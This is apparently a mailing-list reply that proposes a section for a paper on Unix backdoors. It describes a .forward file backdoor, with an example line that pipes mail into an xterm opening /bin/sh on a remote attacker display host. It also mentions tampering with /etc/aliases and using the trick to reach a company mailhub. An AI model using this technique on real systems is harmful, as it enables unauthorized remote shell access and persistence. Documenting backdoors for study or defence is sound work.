Re: Backdoor Paper

[shipley () DIS ORG (Evil Pete)]

> Here's a paper I wrote on backdoors.  Feedback welcome.

<snip>

you may want to add:


    .forward Backdoor

    On Unix machines, placing commands into the .forward file was also
    a common method of regaining access.  For the account ``username''
    a .forward file might be constructed as follows:

        \username
        |"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e /bin/sh"

    permutations of this method include alteration of the systems mail
    aliases file (most commonly located at /etc/aliases).  Note that
    this is a simple permutation, the more advanced  can run a simple
    script from the forward file that can take arbitrary commands via
    stdin (after minor preprocessing).


                -Pete

PS: The above method is also useful gaining access a companies
        mailhub (assuming there is a shared a home directory FS on
        the client and server).